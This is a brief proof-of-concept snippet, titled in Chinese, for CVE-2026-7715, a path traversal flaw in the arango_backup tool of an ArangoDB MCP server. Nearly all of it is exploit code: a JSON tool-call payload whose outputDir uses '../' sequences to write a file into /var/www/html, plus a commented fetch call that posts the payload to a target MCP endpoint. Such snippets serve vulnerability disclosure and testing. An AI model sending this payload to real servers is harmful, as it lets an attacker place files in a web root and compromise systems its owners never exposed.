CVE-2026-7715 mcp-server-arangodb路径遍历漏洞

// PoC Concept for CVE-2026-7715 // Vulnerability: Path Traversal in arango_backup function // Affected Component: src/tools.ts const payload = { "name": "arango_backup", "arguments": { // Malicious outputDir using traversal sequences to escape the base directory "outputDir": "../../../../var/www/html/malicious_file" } }; // Send this payload to the vulnerable MCP endpoint // fetch('http://target-host:port/mcp', { method: 'POST', body: JSON.stringify(payload) });